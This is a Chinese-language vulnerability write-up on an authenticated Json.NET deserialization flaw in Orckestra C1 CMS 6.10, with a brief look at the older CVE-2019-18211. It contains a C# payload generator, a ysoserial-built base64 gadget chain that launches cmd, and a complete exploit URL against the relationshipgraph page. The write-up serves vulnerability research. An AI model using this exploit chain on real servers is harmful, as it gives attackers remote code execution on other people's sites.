漏洞描述

Orckestra C1 CMS 6.10存在 .net 反序列化漏洞,需要登录,成因是因为TypeNameHandling.Auto

环境搭建

下载 https://github.com/Orckestra/C1-CMS-Foundation/releases/download/v6.10/C1.CMS.6.10.zip

然后Visual Studio打开运行。

分析

根据cve描述和补丁对比发现漏洞点存在于Composite.dll,使用github的对比发现在此commit中增加了对反序列化绑定类型的校验。

https://github.com/Orckestra/C1-CMS-Foundation/commit/73dc26050e5f3ffc31531aa332463de9398bc213

1.png

而我在之前的文章中写过,json.net如果使用了TypeNameHandling.All或者TypeNameHandling.Auto,会造成反序列化问题。官方建议如果使用TypeNameHandling要使用binder来控制反序列化的类型。

那么根据补丁我们来看6.10版本的CompositeSerializationBinder类

2.png

有漏洞的6.10版本中判断了assemblyName等于Composite.Generated并且typeName以CompositeGenerated开头,进行自写类的type逻辑处理,别的type直接调用基类,那么等于没做限制。

CompositeSerializationBinder被用在CompositeJsonSerializer类中,其中有两个静态方法需要注意

3.png

直接传入json字符串然后反序列化,并且TypeNameHandling为auto。

第二个静态方法比较关键

4.png

分别获取json中的meta:obj、meta:type,然后根据type反射获取其Deserialize方法,如果为空则调用上面的第一个静态方法,传入meta:obj标签的值,直接反序列化。

我们可以构造payload如下

1{"meta:obj":"","meta:type":""}

当type获取不到静态Deserialize方法时,进入CompositeJsonSerializer.Deserialize<T>(text)

那么这两个点都可控,接着我们看哪里调用了这个方法。

5.png

EntityTokenSerializer.Deserialize(string)调用其两个参数的重载方法,经过CompositeJsonSerializer.IsJsonSerialized(serializedEntityToken)判断进入CompositeJsonSerializer.Deserialize<EntityToken>(serializedEntityToken, includeHashValue)

这里接受的类型为EntityToken,所以我们需要寻找EntityToken中可以存储payload的地方,例如一个object类型的字段。

我们可以通过几行代码来寻找哪些类继承了EntityToken类

 1        Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
 2        foreach (var assembly in assemblies)
 3        {
 4            if (assembly.FullName.Contains("Composite"))
 5            {
 6                Type[] types = assembly.GetTypes();
 7                foreach (var type in types)
 8                {
 9                    try
10                    {
11                        if (!typeof(EntityToken).IsAssignableFrom(method.ReturnType))
12                        {
13                            continue;
14                        }
15                        else
16                        {
17                            var memberInfos = type.GetProperties(BindingFlags.NonPublic|BindingFlags.Instance|BindingFlags.Public);
18                            foreach (var member in memberInfos)
19                            {
20                                resp($"type:{type.Name} 字段名:{member.Name} 类型:{member.PropertyType}");
21                            }
22                        }
23
24                    }
25                    catch
26                    {
27                    }
28                }
29            }
30        }

6.png

发现DataGroupingProviderHelperEntityToken类中GroupingValues是一个Dictionary<string, object>类型,可以存放gadget。

那么可以构造payload

 1using Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper;
 2using Newtonsoft.Json;
 3using System;
 4using System.Collections.Generic;
 5using System.IO;
 6using System.Runtime.Serialization;
 7using System.Security.Principal;
 8using System.Text;
 9
10namespace ConsoleApp1
11{
12    class Program
13    {
14        static void Main(string[] args)
15        {
16            // .\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc --minify
17            var windowsIdentity = new WindowsIdentityIdentityMarshal("AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=");
18            Dictionary<string, object> dictionary = new Dictionary<string, object> { };
19            dictionary.Add("asd", windowsIdentity);
20
21
22            DataGroupingProviderHelperEntityToken dataGroupingProviderHelperEntityToken = new DataGroupingProviderHelperEntityToken(typeof(DataGroupingProviderHelperEntityToken).AssemblyQualifiedName);
23            dataGroupingProviderHelperEntityToken.GroupingValues = dictionary;
24            StringBuilder sb = new StringBuilder();
25            using (StringWriter sw = new StringWriter(sb))
26            using (JsonTextWriter writer = new JsonTextWriter(sw))
27            {
28                writer.QuoteChar = '\'';
29
30                JsonSerializer ser = new JsonSerializer();
31                ser.TypeNameHandling = TypeNameHandling.All;
32                ser.Serialize(writer, dataGroupingProviderHelperEntityToken);
33            }
34            Console.WriteLine(sb);
35            Console.ReadKey();
36        }
37    }
38
39    [Serializable]
40    public class WindowsIdentityIdentityMarshal : ISerializable
41    {
42        public WindowsIdentityIdentityMarshal(string b64payload)
43        {
44            B64Payload = b64payload;
45        }
46
47        private string B64Payload { get; }
48
49        public void GetObjectData(SerializationInfo info, StreamingContext context)
50        {
51            Console.WriteLine(typeof(WindowsIdentity).AssemblyQualifiedName);
52            info.SetType(typeof(WindowsIdentity));
53            info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
54        }
55    }
56}

生成之后替换一下程序集名称

1{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs='}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}

然后再找一下哪里调用了EntityTokenSerializer.Deserialize(serializedEntityToken);

c:\Website\Composite\content\views\relationshipgraph\Default.aspx.cs

7.png

直接get传入EntityToken进行反序列化。

由此构造payload

1http://localhost:36859/Composite/content/views/relationshipgraph/Default.aspx?EntityToken={"meta:obj":"{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD%2F%2F%2F%2F%2FAQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI%2BPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8%2BPC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs%3D'}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}","meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}

其中"meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"这个类型可以随便给,只要实现序列化接口就行。

8.png

拓展

c1cms历史洞6.5版本以前还有一个CVE-2019-18211,也是EntityTokenSerializer出的问题,在EntityTokenSerializer.cs中,

9.png

如果不以{开头则进入DeserializeLegacy

10.png

而这个方法中可以调用任意类的Deserialize(string)静态方法,于是找到了Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter

11.png

造成反序列化rce

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。